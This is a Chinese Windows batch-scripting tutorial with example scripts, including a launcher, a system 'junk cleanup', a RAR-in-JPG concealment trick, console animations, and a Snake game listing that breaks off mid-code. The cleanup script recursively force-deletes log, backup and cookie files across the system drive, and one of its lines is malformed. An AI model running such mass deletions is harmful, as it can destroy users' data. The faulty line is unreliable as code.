批处理(BAT)教程

基础

注释

1、:: 注释内容(第一个冒号后也可以跟任何一个非字母数字的字符)

2、rem 注释内容(不能出现重定向符号和管道符号)

3、echo 注释内容(不能出现重定向符号和管道符号)〉nul

4、if not exist nul 注释内容(不能出现重定向符号和管道符号)

5、:注释内容(注释文本不能与已有标签重名)

6、%注释内容%(可以用作行间注释,不能出现重定向符号和管道符号)

7、goto 标签 注释内容(可以用作说明goto的条件和执行内容)

8、:标签 注释内容(可以用作标签下方段的执行内容)

CMD窗口标题及字体颜色、背景颜色设置

1、设置cmd窗口的标题 **title=**窗口标题
2、改变窗口大小 **mode con cols=**30 **lines=**20
3、改变字体及背景颜色(共16种颜色)
0 黑色 1 蓝色 2 绿色 3 湖蓝色 4 红色 5 紫色色 6 黄色 7 白色 8 灰色

9 浅蓝色 A 浅绿色 B 浅水绿 C 浅红色 D 浅紫色 E 浅黄色 F 亮白色
【目标】“命令提示符”窗口颜色通常为黑底白字,根据使用习惯可更改其前景色和背景色。
【方法】 在“命令提示符”窗口中可通过“COLOR XY”命令进行修改,其中X表示背景色,Y表示前景文字颜色,注意“COLOR”和颜色代码之间有一个空格。

代码0123456789ABCDEF
颜色黑色蓝色绿色湖蓝色红色紫色黄色白色灰色浅蓝色浅绿色浅水绿色浅红色浅紫色浅黄色亮白色

设置CMD窗口编码格式

Windows下的CMD窗口默认是采用非UTF-8编码

CHCP是MD DOS中的命令,用来显示或设置活动代码页编号的。

用法:CHCP num ,其中num指定的是代码页的编号, 默认是936。

常用的编码:
936 GBK(一般情况下为默认编码)
437 美国英语
65001 UTF-8

对于UTF-8的代码,在第一行加上 chcp 65001 即可

文件属性

批处理命令的参数
r:用于将文件属性设置为只读。
-r:用于清除只读文件属性。
+ a:用于将文件属性设置为存档。
-a:用于清除存档文件属性。
+ s:用于将文件属性设置为系统文件。
-s:用于清除系统文件属性。
+ h:用于使隐藏的文件属性对用户不可见。
-h:用于清除隐藏文件属性。

用法: attrib filename para1 para2

举例:attrib test +r +s 设置test文件夹只读、系统文件

示例

一键开启工作环境

替换对应的路径即可

TIMEOUT /T 1
start "" "C:\Program Files\Sublime Text 3\sublime_text.exe"
TIMEOUT /T 1
start "" "D:\Program Files (x86)\Tencent\TIM\Bin\QQScLauncher.exe"
TIMEOUT /T 2
start "" "D:\Program Files\Unity\Editor\Unity.exe"
TIMEOUT /T 5
start "" "D:\Program Files (x86)\SETUNA\SETUNA.exe"
TIMEOUT /T 1
start "" "D:\Program Files (x86)\Tencent\WeChat\WeChat.exe"

垃圾清理

@echo off
title windows系统垃圾清理---
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo ★☆   清理系统垃圾文件,请稍等......             ☆★
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★
echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★

del /f /s /q %systemdrive%\*.tmp 
del /f /s /q %systemdrive%\*._mp 
del /f /s /q %systemdrive%\*.log 
del /f /s /q %systemdrive%\*.gid 
del /f /s /q %systemdrive%\*.chk 
del /f /s /q %systemdrive%\*.old 
del /f /s /q %systemdrive%\recycled\*.* 
del /f /s /q %windir%\*.bak 
del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp 
del /f /q %userprofile%\cookies\*.* 
del /f /q %userprofile%\recent\*.* 
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" 
del /f /s /q "%userprofile%\Local Settings\Temp\*.*" 
del /f /s /q "%userprofile%\recent\*.*" 

echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
echo ★☆                                                          ☆★
echo ★☆                恭喜您!清理全部完成!                    ☆★
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★
pause

rar压缩文件隐藏到图片

@echo off
echo ******************************************
echo ******************************************
echo ****   拖入文件到本窗口以获得路径     ****
echo ******************************************
echo ******************************************
set /p pic=请输入图片文件路径:
echo.
set /p rar=请输入rar文件路径:
copy /b %pic%+%rar% ok.jpg >nul 2>nul
echo.
echo ok! 文件已合并为ok.jpg,保存在脚本同路径下
pause

windows激活时间

@echo off  
start cmd /k "slmgr.vbs -xpr&&scene.exe -batchmode &&taskkill /f /t /im cmd.exe"

windows系统详细信息

@echo off  
start msinfo32.exe

批量加后缀

@echo off
setlocal enabledelayedexpansion
:这里可以指定添加的后缀名
echo =================================================================
echo                           输入后缀,即可更改文件
echo                           关闭直接X掉就好
echo =================================================================
set /p hz=你输入的后缀是:
set batname=%0


::默认直接在名称后追加后缀
FOR /R %~dp0 %%i IN (*) DO (
if NOT "%%~fi"==%batname% (
ECHO "%%~nxi" TO "%%~nxi.!hz!"
ren "%%~nxi" "%%~nxi.!hz!"
)
)
pause
EXIT

统计文件信息

DIR *.*  /B >LIST.TXT

批量创建文件夹

准备记事本,里面按行放入文件夹名称

::设置UTF-8编码
chcp 65001
for /f "delims=" %%a in ('type a.txt') do md "%%~a"
echo :)  搞定啦!
pause
::设置UTF-8编码
chcp 65001
@echo off
for /f "tokens=*" %%i in ('findstr /v # a.txt') do (
md "%%i")
echo :)  搞定啦!
pause

电脑说话

@echo off
title Speak by:Alex
MODE con: cols=40 lines=20
color 0a
:start
cls
echo.
echo 使用说明:
echo.
echo 输入你要让电脑说的话,
echo 请勿输入标点符号....
echo.
::echo %~d0
set /p speak= 请输入语句:
echo CreateObject("SAPI.SpVoice").Speak "%speak%" > %~d0\speak.vbs
::echo ok
echo.
echo 正在发音,请认真听~
%~d0\speak.vbs & del %~d0\speak.vbs
goto start

统计txt文本行数

@echo off
setlocal enabledelayedexpansion
(for /f "delims=" %%a in ('dir /a-d /b *.txt') do (
set n=0
for /f "delims=" %%b in ('type "%%a"') do set /a n+=1
if "%%a" neq "统计.txt" echo,%%a --- !n!
))>"统计各txt行数.txt"

数字雨

@echo off
:rain
color 2
echo 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0
ping localhost -n 1 >nul
echo 2 1 3 2 1 3 2 1 3 2 1 3 2 1 3 2 1 3 2 1 3 2 1 3 2 1 2 3 1 5 4 6 4 6 5 4 6 5 4
ping localhost -n 1 >nul
echo 7 9 4 6 5 4 9 8 7 4 1 6 5 4 9 8 7 4 6 8 7 4 6 5 1 3 5 4 9 8 7 4 1 1 3 2 1 3 1
ping localhost -n 1 >nul
echo 1 3 5 4 1 6 5 4 6 1 3 2 4 8 6 4 3 5 4 1 6 5 4 6 1 3 8 7 4 6 5 4 5 4 6 8 1 3 5
ping localhost -n 1 >nul
echo 7 1 9 1 8 7 3 4 2 5 7 8 4 1 3 6 5 7 8 4 1 3 5 4 9 4 1 9 8 7 3 8 7 9 8 7 4 5 6
ping localhost -n 1 >nul
goto rain

绘制五彩爱心

::设置UTF-8编码
chcp 65001
@echo off & title Love & setlocal enabledelayedexpansion
mode con: cols=36 lines=19
:loop
set colors=12345689abcde 
set /a rand=%random%%%13+1
set color=!colors:~%rand%,1! 
color 0%color% 
echo.  
echo. 
echo          ****          ****
echo        *******        *******
echo      ***********    ***********
echo     *************  *************
echo     ****************************
echo     ****************************
echo     ****************************
echo      **************************
echo        ***********************
echo          *******************
echo            ***************
echo              ***********
echo                *******
echo                  ***
echo                   *
ping 127.1 -n 2 >nul
cls
goto loop
echo. & pause > nul

绘制3D球体

DosBatch 3D Engine.

1.基础版

::设置UTF-8编码
chcp 65001
color 4
@echo off & setlocal & title Sphere 3D & set /a cols=62, lines=62 & goto :Init_system

    :: By einstein1969. Dedicated to jeb, dbenham, penpen, carlos, aGerman, Aacini, EdDyreen, 
    :: npocmaka_, Liviu, Sponge Belly, Magialisk, the users and the staff of Dostips forum.

  :: Use raster font 8x8. 

:Main

set /a ar=100, rt=0, ds=0, cx=cols/2, cz=4000, cY=lines/2

(
  set SIN=
  set _PLOT$_=
  set _$PLOT_=
  set _empty=
  set lines=
  set cols=

  for /L %%\ in (1000,-1,0) do (

   set /a "rt+=31416/60"
   
   if !ds! lss 1000 set /a ds+=10

   setlocal

   set /a "a=(15708-rt) %% 62832, c=(a>>31|1)*a"

   if !c! gtr 47124 (set /a "a=a-(a>>31|1)*62832, b=%SIN%, a=rt %% 62832, c=(a>>31|1)*a")  else (if !c! gtr 15708 (set /a "a=(a>>31|1)*31416-a, b=%SIN%, a=rt %% 62832, c=(a>>31|1)*a") else set /a "b=%SIN%, a=rt %% 62832, c=(a>>31|1)*a")
   if !c! gtr 47124 (set /a "a=a-(a>>31|1)*62832, a=%SIN%")  else (if !c! gtr 15708 (set /a "a=(a>>31|1)*31416-a, a=%SIN%") else set /a "a=%SIN%")

   for %%f in ("0 9999" "-5000 8661" "-8661 5000" "-9999 0" "-8661 -5000" "-5000 -8661" "0 -9999" "5000 -8661" "8661 -5000" "9999 0" "8661 5000" "5000 8661") do for /f "tokens=1,2" %%g in (%%f) do (

   for %%t in ("3827 9239" "7071 7071" "9239 3827" "9999 0" "9239 -3827" "7071 -7071" "3827 -9239") do for /f "tokens=1,2" %%u in (%%t) do (

     set /a "ax=ar*%%h/10000*%%u/10000, az=ar*%%g/10000*%%u/10000, ay=ar*%%v/10000, aax=(ax*b/10000-(ay*a/10000+az*b/10000)*a/10000)*b/10000-(ay*b/10000-az*a/10000)*a/10000, aay=(ax*b/10000-(ay*a/10000+az*b/10000)*a/10000)*a/10000+(ay*b/10000-az*a/10000)*b/10000, e=ax*a/10000+(ay*a/10000+az*b/10000)*b/10000, c=ds*aax/(e-cz)+cx, d=ds*aay/(e-cz)+cy"   

     if not defined L!d! set L!d!=%_empty%
   
     if !e! lss 0 (%_$PLOT_% !c! !d! 1 %_PLOT$_%) else %_$PLOT_% !c! !d! 4 %_PLOT$_%

    )   
   )

   if not "!OT!"=="!time:~-1!" (
     cls & (For /L %%l in (1,1,%lines%) do if not defined L%%l (echo() else echo( !L%%l!)>CON
     if "!OT!"=="0" title Sphere 3D [%%\]
     endlocal
     set OT=!time:~-1!
   ) else endlocal

  )
)
goto :eof


:Init_system

  setlocal DisableDelayedExpansion

  set /a cc=cols+20, ll=lines+20
(  
  mode %cc%,%ll% & cls
  for /F "Tokens=1 delims==" %%v in ('set') do set "%%v="
  set /a cols=%cols%, lines=%lines%
)
  set "_$PLOT_=For /F usebackq^ tokens^=1-3 %%x in ('"
  set "_PLOT$_=') do set /a f=%%x+1 & For %%w in (!f!) do set L%%y=!L%%y:~0,%%x!!g:~%%z,1!!L%%y:~%%w!"

  set "SIN=(a-a*a/1920*a/312500+a*a/1920*a/15625*a/15625*a/2560000-a*a/1875*a/15360*a/15625*a/15625*a/16000*a/44800000)"

  setlocal EnableDelayedExpansion

  For /L %%l in (1,1,%cols%) do set "_empty=!_empty! "
  :: 此处可以设置显示字符
  set g= .±²❤@"

Goto :Main

2.加上按键控制

A 减速 D 加速

Z 缩小 Q 增大

X 退出

::设置UTF-8编码
chcp 65001
color 4
@echo off
setlocal EnableDelayedExpansion

REM APA mod
if "%1" neq "" goto %1

title Sphere 3D


    :: By einstein1969. Dedicated to jeb, dbenham, penpen, carlos, aGerman, Aacini, EdDyreen, 
    :: npocmaka_, Sponge Belly, Magialisk, the users and the staff of Dostips forum.

    :: Use raster font 8x8

    :: v 0.0.2 passed from 16.6 FPS to ~20.0 FPS

    :: Variables enigma:

    :: ?   =   Sphere radius
    :: rt   =   Rotation angle
    :: ds   =   Distance Z of sphere
    :: _dx,_dy   =   Offset x,y of projecting coordinates in 2D plane.
    :: a,b   =   Sine, cosine of rotation angle
    :: ax,ay,az   =   Rotation coordinate 3D, now a, b, c
    :: c,d   =   X,Y coordinate of projecting 3D to 2D, now a,b
    :: e   =   Z coordinate, now c


:Init_system

  set /a cols=62, lines=58

  set /a cc=cols+2, ll=lines+2
  mode %cc%,%ll% & cls

(  
  for /F "Tokens=1 delims==" %%v in ('set') do set "%%v="
  set /a cols=%cols%, lines=%lines%
  REM APA mod
  set "ComSpec=%ComSpec%"
)

  setlocal DisableDelayedExpansion

  set "_$PLOT_=For /F usebackq^ tokens^=1-3 %%x in ('"
  set "_PLOT$_=') do set c=!L%%y:~%%x!& set L%%y=!L%%y:~0,%%x!!g:~%%z,1!!c:~1!"

  set "_SIN=(a-a*a/1920*a/312500+a*a/1920*a/15625*a/15625*a/2560000-a*a/1875*a/15360*a/15625*a/15625*a/16000*a/44800000)"

  setlocal EnableDelayedExpansion

  For /L %%l in (1,1,%cols%) do set "_empty=!_empty! "
  :: 此处可以设置显示字符
  set g= .❤"

set /a ?=100, rt=0, ds=600, _dx=cols/2, _dy=lines/2, _dz=4000, _1=10000


REM APA mod
cd . > pipeFile.txt
"%~F0" Input >> pipeFile.txt | "%~F0" Main < pipeFile.txt
del pipeFile.txt
goto :EOF


REM Get control keys and send the corresponding command to Main part
:Input
set Drt=200
set ds=600
set exit=0
set "letter= ADQZX"
set "com[A]=Drt-=31416/180"  &  set "var[A]=Drt"
set "com[D]=Drt+=31416/180"  &  set "var[D]=Drt"
set "com[Q]=ds+=100"         &  set "var[Q]=ds"
set "com[Z]=ds-=100"         &  set "var[Z]=ds"
set "com[X]=exit=1"          &  set "var[X]=exit"

title Rotating Sphere - Speed=%Drt%[A-D],  Zoom=%ds:~0,-1%%%[Z-Q]
:getKey
   C:\Windows\System32\choice /C %letter% /N
   set "option=!letter:~%errorlevel%,1!"
   set /A "!com[%option%]!"
   set "var=!var[%option%]!"
   echo %var%=!%var%!
   title Rotating Sphere - Speed=%Drt%[A-D],  Zoom=%ds:~0,-1%%%[Z-Q]
if %option% neq X goto getKey
C:\Windows\System32\ping localhost -n 3 > NUL
exit



:Main

(setlocal

  for /F "Tokens=1 delims==" %%v in ('set _') do set "%%v="
  set lines=
  set cols=

  rem giro completo (120)*31416/60 o multipli di 120
  for /L %%\ in () do (
   
   REM APA mod
   set /P "command="
   if defined command (
      set /A "!command!"
      set "command="
      if !exit! neq 0 exit
   )
   REM Instead of: if !ds! lss 1000 (set /a ds+=10) else %_FPS%

   set /a "rt+=Drt"
   
   setlocal

   set /a "a=(15708-rt) %% 62832, c=(a>>31|1)*a"

   if !c! gtr 47124 (
      set /a "a=a-(a>>31|1)*62832, b=%_SIN%, a=rt %% 62832, c=(a>>31|1)*a"
   ) else if !c! gtr 15708 (
      set /a "a=(a>>31|1)*31416-a, b=%_SIN%, a=rt %% 62832, c=(a>>31|1)*a"
   ) else (
      set /a "b=%_SIN%, a=rt %% 62832, c=(a>>31|1)*a"
   )

   if !c! gtr 47124 (
      set /a "a=a-(a>>31|1)*62832, a=%_SIN%"
   )  else if !c! gtr 15708 (
      set /a "a=(a>>31|1)*31416-a, a=%_SIN%"
   ) else (
      set /a "a=%_SIN%"
   )

   For /f "tokens=1,2" %%a in ("!a! !b!") do for %%f in ("0 9999" "-5000 8661" "-8661 5000" "-9999 0" "-8661 -5000" "-5000 -8661" "0 -9999" "5000 -8661" "8661 -5000" "9999 0" "8661 5000" "5000 8661") do for /f "tokens=1,2" %%g in (%%f) do (

   for %%t in ("3827 9239" "7071 7071" "9239 3827" "9999 0" "9239 -3827" "7071 -7071" "3827 -9239") do for /f "tokens=1,2" %%u in (%%t) do (

     set /a "a=?*%%h/10000*%%u/10000, c=?*%%g/10000*%%u/10000, b=?*%%v/10000, a=(a*%%b/10000-(b*%%a+c*%%b)/10000*%%a/10000)*%%b/10000-(b*%%b-c*%%a)/10000*%%a/10000, b=(?*%%h/10000*%%u/10000*%%b/10000-(b*%%a+c*%%b)/10000*%%a/10000)*%%a/10000+(b*%%b-c*%%a)/10000*%%b/10000, c=?*%%h/10000*%%u/10000*%%a/10000+(?*%%v/10000*%%a+c*%%b)/10000*%%b/10000, a=ds*a/(c-%_dz%)+%_dx%, b=ds*b/(c-%_dz%)+%_dy%"

     if not defined L!b! set L!b!=%_empty%

     if !c! lss 0 (%_$PLOT_% !a! !b! 1 %_PLOT$_%) else %_$PLOT_% !a! !b! 2 %_PLOT$_%

    )   
   )

   if not "!OT!"=="!time:~-1!" (
     cls & (For /L %%l in (1,1,%lines%) do if not defined L%%l (echo() else echo( !L%%l!)>CON
     endlocal
     set OT=!time:~-1!
   ) else endlocal
  )

endlocal)

贪吃蛇

SNAKE.BAT 4.1 - An arcade style game using pure batch

功能:设置区域大小、设置成长速率、设置按键控制、设置图形

恢复之前游戏、保存游戏

使用ADWS控制方向

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: SNAKE.BAT - A pure native Windows batch implementation of the classic game
:: ------------------------------------------------------------------------------
:: Written by Dave Benham with some debugging help and technique pointers from
:: DosTips users - See http://www.dostips.com/forum/viewtopic.php?f=3&t=4741
::
:: The game should work on any Windows machine from XP onward using only batch
:: and native external commands. However, the default configuration will most
:: likely have some screen flicker due to the CLS command issued upon every 
:: screen refresh. There are two ways to eliminate screen flicker:
::
:: 1 - "Pure batch" via VT100 escape sequences:
:: You can eliminate flicker by enabling the VT100 mode within the game's
:: Graphic options menu. However, this mode requires a console that supports
:: VT100 escape sequences. This comes standard with Windows 10 (and beyond).
:: The Windows 10 console must be configured properly for this to work - the
:: "Legacy Console" option must be OFF. Prior to Windows 10, there was no
:: standard Windows console that supported VT100 escape sequences, though you
:: may find a utility that provides that support.
::
:: 2 - CursorPos.exe cheat from Aacini:
:: You can eliminate screen flicker on any Windows version by placing Aacini's
:: CursorPos.exe in the same folder that contains SNAKE.BAT. This method of
:: eliminating flicker is "cheating" in that it is not pure native batch since
:: it relies on a 3rd party tool. A script to create CursorPos.exe is available
:: at http://goo.gl/hr6Kkn.
::
:: Note that user preferences and high scores are stored in %USERPROFILE%\Snake
:: User saved games have an implicit .snake.txt "extension", and are saved and
:: loaded from the current directory.
::
:: Version History
::
:: 4.1  2018-09-08
::   - Fixed bug in Playfield too large error handling that aborted but hung.
::
:: 4.0  2017-04-10
::   - New Field size options, ranging from tiny to large. Original = Medium.
::   - Reconfigured menu
::   - Added support for VT100 mode to eliminate screen flicker by using
::     with "pure" batch VT100 escape sequences.
::
:: 3.8  2015-02-16
::   - Improve performance of Replay abort
::   - Eliminate flicker at game start when using CursorPos.exe
::   - Use symbols (variables) for lock, key and cmd streams.
::
:: 3.7  2014-08-03
::   - Reduced screen flicker when playing without CursorPos.exe by building
::     entire screen in one variable before CLS and ECHOing the screen.
::
:: 3.6  2014-04-09
::   - Pause after displaying CursorPos.exe message at end if game was launced
::     via double click or START menu.
::
:: 3.5  2014-02-03
::   - Made growth rate user configurable. High scores are now stored for each
::     growth rate played.
::   - Added optional support for Aacini's CursorPos.exe to eliminate screen
::     flicker.
::   - Redesigned storage of configuration options within saved games to make
::     it easier to extend in the future. Existing saved games are automatically
::     converted to the new format.
::   - Simplified replay abort mechanics.
::
:: 3.4  2013-12-26
::   - Added ability to abort a game replay.
::
:: 3.3  2013-12-24
::   - Added Pause functionality.
::
:: 3.2  2013-12-08
::   - Fixed a replay bug. Note that attempting to delete a non-existent file
::     does not raise an error!
::   - Added ability to save a previous game or a High score game to a user
::     named file in the current directory.
::   - Added ability to load and replay a user saved game from the current
::     directory.
::
:: 3.1  2013-12-08
::   - Fixed a bug with the game logs. Must include key mappings in log.
::     High scores from version 3.0 should be deleted from %USERPROFILE%\Snake.
::
:: 3.0  2013-12-07
::   - Made control keys user configurable, including option for 2 key
::     (left/right) or 4 key (left/right/up/down) input.
::   - Made graphics user configurable.
::   - Added ability to display replay of previous game.
::   - Added High Score list, with ability to display replay of High Score games.
::
:: 2.3  2013-12-01
::   - Added elapsed game time to the display.
::
:: 2.2  2013-08-06
::   - Improved comments / internal documentation
::   - A few inconsequential code changes
::
:: 2.1  2013-07-20
::   - Reworked interprocess communication. No more hanging games (I hope).
::   - Fixed parameterization of movement key definition.
::   - Temp file location now controlled by TEMP (or TMP) environment variable.
::   - Implemented a game session lock into temp file names so multiple game
::     instances can share the same TEMP folder without interference.
::
:: 2.0  2013-07-17
::   - First attempt at using XCOPY instead of CHOICE. Game now runs as
::     pure native batch on all Windows versions from XP onward.
::
:: 1.0  2013-07-13  to  1.x
::   - Game required CHOICE command, so did not work on XP without download of
::     a non-standard exe or com file.
::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

@echo off

if "%~1" == "startGame" goto :game
if "%~1" == "startController" goto :controller


::---------------------------------------------------------------------
:: setup some global variables used by both the game and the controller

setlocal disableDelayedExpansion
set "toggleVT100="
:getSession
if defined temp (set "tempFileBase=%temp%\") else if defined tmp set "tempFileBase=%tmp%\"
set "tempFileBase=%tempFileBase%Snake%time::=_%"
set "keyFile=%tempFileBase%_key.txt"
set "cmdFile=%tempFileBase%_cmd.txt"
set "gameLock=%tempFileBase%_gameLock.txt"
set "gameLog=%tempFileBase%_gameLog.txt"
set "signal=%tempFileBase%_signal.txt"
set "saveLoc=%userprofile%\Snake"
set "userPref=%saveLoc%\SnakeUserPref.txt"
set "hiFile=%saveLoc%\Snake!size!!growth!Hi"
set "keyStream=9"
set "cmdStream=8"
set "lockStream=7"


::------------------------------------------
:: Lock this game session and launch.
:: Loop back and try a new session if failure.
:: Cleanup and exit when finished

call :launch %lockStream%>"%gameLock%" || goto :getSession
del "%tempFileBase%*"
exit /b


::------------------------------------------
:launch the game and the controller

call :fixLogs
:relaunch
copy nul "%keyFile%" >nul
copy nul "%cmdFile%" >nul
start "" /b cmd /c ^""%~f0" startController %keyStream%^>^>"%keyFile%" %cmdStream%^<"%cmdFile%" 2^>nul ^>nul^"
cmd /c ^""%~f0" startGame %keyStream%^<"%keyFile%" %cmdStream%^>^>"%cmdFile%" ^<nul^"
echo(


::--------------------------------------------------------------
:: Upon exit, wait for the controller to close before returning

:close
2>nul (>>"%keyFile%" call )||goto :close
if "%=exitcode%" equ "00000002" (
  set "toggleVT100=1"
  goto :relaunch
) else if "%=exitcode%" equ "00000001" (
  echo Game play can be improved by installing
  echo Aacini's CursorPos.exe, available at
  echo http://goo.gl/hr6Kkn
  echo(
  echo Alternatively, if your console supports
  echo VT100 escape sequences, then you can
  echo enable VT100 mode within the SNAKE.BAT
  echo Graphic options menu.
  echo(
  echo %cmdcmdline%|find /i "%~f0">nul&&pause
)
exit /b 0


::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:game
title %~nx0
cls

::---------------------------------------
:: Default playfield size
:: max playing field: (width-2)*(height-2) <= 1365

set "size=Medium"
set "dispWidth=40"   max=99
set "dispHeight=25"  max=99
set "defaultSize=%size%"
set /a "defaultWidth=dispWidth, defaultHeight=dispHeight"

::----------------------------
:: Other default values

set "moveKeys=4"

set "up=W"
set "down=S"
set "left=A"
set "right=D"
set "pause=P"

set "space= "
set "bound=#"
set "food=+"
set "head=@"
set "body=O"
set "death=X"

set "vt0=OFF"
set "vt1=ON"
set "vt=0"

set "growth=1"

::--- sendCmd macro ---
:: sendCmd  command
:::  sends a command to the controller
set "sendCmd=>&%cmdStream% echo"

::---------------------------
:: Load user preferences
if exist "%userPref%" for /f "usebackq delims=" %%V in ("%userPref%") do set "%%V"
call :resize

::---------------------------
:: Variable constants

set "configOptions=diffCode difficulty growth moveKeys up down left right size dispWidth dispHeight"

for %%S in (
 "T Tiny   15 10"
 "S Small  25 15"
 "M Medium 40 25"
 "L Large  47 32"
 "W Wide   82 19"
 "N Narrow 20 40"
) do for /f "tokens=1-4" %%A in (%%S) do (
  set "size%%A=%%B"
  set /a "width%%A=%%C, height%%A=%%D"
)

set "spinner1=-"
set "spinner2=\"
set "spinner3=|"
set "spinner4=/"
set "spinner= spinner1 spinner2 spinner3 spinner4 "

set "delay1=20"
set "delay2=15"
set "delay3=10"
set "delay4=7"
set "delay5=5"
set "delay6=3"

set "desc1=Sluggard"
set "desc2=Crawl"
set "desc3=Slow"
set "desc4=Normal"
set "desc5=Fast"
set "desc6=Insane"

set "spinnerDelay=3"

:: define LF as a Line Feed (newline) character
set ^"LF=^

^" Above empty line is required - do not remove

:: define CR as a Carriage Return character
for /f %%A in ('copy /Z "%~dpf0" nul') do set "CR=%%A"

:: define BS as a BackSpace character
for /f %%A in ('"prompt $H&for %%B in (1) do rem"') do set "BS=%%A"

set "upper=A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
set "invalid=*~="

::---------------------------
:: define macros

if %vt% equ 1 (
  for /f "delims=" %%E in (
    'forfiles /p "%~dp0." /m "%~nx0" /c "cmd /c echo(0x1B"'
  ) do (
    cls
    <nul set /p "=%%E7"
    set "cls=<nul set /p "=%%E8""
    set "ClearLine=<nul set /p "=%%E[K""
    set "ClearPrev=echo(&echo(%%E[F%%E[K"
    set "Up4=echo(%%E[F%%E[F%%E[F%%E[F%%E[F"
    set "ShowCursor=<nul set /p "=%%E[?25h""
    set "HideCursor=<nul set /p "=%%E[?25l""
    set "exitCode=0"
  )
) else if exist "%~dp0CursorPos.exe" (
  set "cls=CursorPos 0 0"
  set "ClearLine=echo(                                   &CursorPos 0 -1"
  set "ClearPrev=CursorPos 0 -0&echo(                                   "
  set "Up4=CursorPos 0 -4"
  set "ShowCursor="
  set "HideCursor="
  set "exitCode=0"
) else (
  set "cls=cls"
  set "ClearLine="
  set "ClearPrev="
  set "Up4="
  set "ShowCursor="
  set "HideCursor="
  set "exitCode=1"
)

:: define a newline with line continuation
set ^"\n=^^^%LF%%LF%^%LF%%LF%^^"

:: setErr
:::  Sets the ERRORLEVEL to 1
set "setErr=(call)"

:: clrErr
:::  Sets the ERRORLEVEL to 0
set "clrErr=(call )"

:: getKey  [ValidKey]  [ValidKey...]
::: Check for keypress from the controller. Only accept a ValidKey.
::: Token delimiters and poison characters must be quoted.
::: Accept any key if no ValidKey specified.
::: Return result in Key variable. Key is undefined if no valid keypress.
set getKey=%\n%
for %%# in (1 2) do if %%#==2 (%\n%
  set key=%\n%
  set inKey=%\n%
  set keyTest=%\n%
  ^<^&%keyStream% set /p "inKey="%\n%
  if defined inKey (%\n%
    set inKey=!inKey:~0,-1!%\n%
    for %%C in (!args!) do set /a keyTest=1^&if /i !inKey! equ %%~C set key=!inKey!%\n%
  )%\n%
  if not defined keyTest set key=!inKey!%\n%
) else set args=


:: draw
:::  draws the board
set draw=%\n%
set screen=%\n%
for /l %%Y in (0,1,!height!) do set screen=!screen!!line%%Y!!LF!%\n%
set screen=!screen!Speed = !Difficulty! !replay!!LF!Growth Rate = !growth!   HighScore = !hi!!LF!Score = !score!   Time = !m!:!s!%\n%
if defined replay if not defined replayFinished (%\n%
  set screen=!screen!!LF!!LF!Press a key to abort the replay%\n%
)%\n%
%cls%^&echo(!screen!

:: test  X  Y  ValueListVar
:::  tests if value at coordinates X,Y is within contents of ValueListVar
set test=%\n%
for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
  for %%A in ("!line%%2:~%%1,1!") do if "!%%3:%%~A=!" neq "!%%3!" %clrErr% else %setErr%%\n%
)) else set args=


:: plot  X  Y  ValueVar
:::  places contents of ValueVar at coordinates X,Y
set plot=%\n%
for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
  set "part2=!line%%2:~%%1!"%\n%
  set "line%%2=!line%%2:~0,%%1!!%%3!!part2:~1!"%\n%
)) else set args=


::--------------------------------------
:: start the game
setlocal enableDelayedExpansion
if not exist "%saveLoc%\" md "%saveLoc%"
set "replay= Aborting... "
set "replayAvailable="
if exist "!gameLog!" set "replayAvailable=R"
call :loadHighScores
call :mainMenu


::--------------------------------------
:: main loop (infinite loop)
for /l %%. in () do (

  %=== check for and process abort signal if in replay mode ===%
  if defined replay if exist "%signal%" (
    del "%signal%"
    set "replayFinished=1"
    %draw%
    echo(
    %ClearLine%
    <nul set /p "=Aborting... "
    findstr "^" >nul <&%keyStream%
    for %%A in (!configOptions!) do set "%%A=!%%ASave!"
    %ShowCursor%
    call :mainMenu
  )

  %=== compute time since last move ===%
  for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
  if !tDiff! lss 0 set /a tDiff+=24*60*60*100

  if !tDiff! geq !delay! (
    %=== delay has expired, so time for movement ===%
    set /a t1=t2

    %=== compute game time ===%
    if not defined gameStart set "gameStart=!t2!"
    set /a "gameTime=(t2-gameStart)"
    if !gameTime! lss 0 set /a "gameTime+=24*60*60*100"
    set /a "gameTime=(gameTime-pauseTime)/100, m=gameTime/60, s=gameTime%%60"
    if !m! lss 10 set "m=0!m!"
    if !s! lss 10 set "s=0!s!"

    %=== get keypress ===%
    %getKey% !keys!
    if /i !key! equ !pause! (

      %=== pause game ===%
      echo(
      %ShowCursor%
      call :ask "PAUSED - Press a key to continue..."
      %HideCursor%
      %ClearPrev%
      %sendCmd% go
      for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
      if !tDiff! lss 0 set /a tDiff+=24*60*60*100
      set /a pauseTime+=tDiff

    ) else (

      %=== establish direction ===%
      if not defined replay (echo(!key!.) >>"!gameLog!"
      for %%K in (!key!) do if !moveKeys! equ 2 (
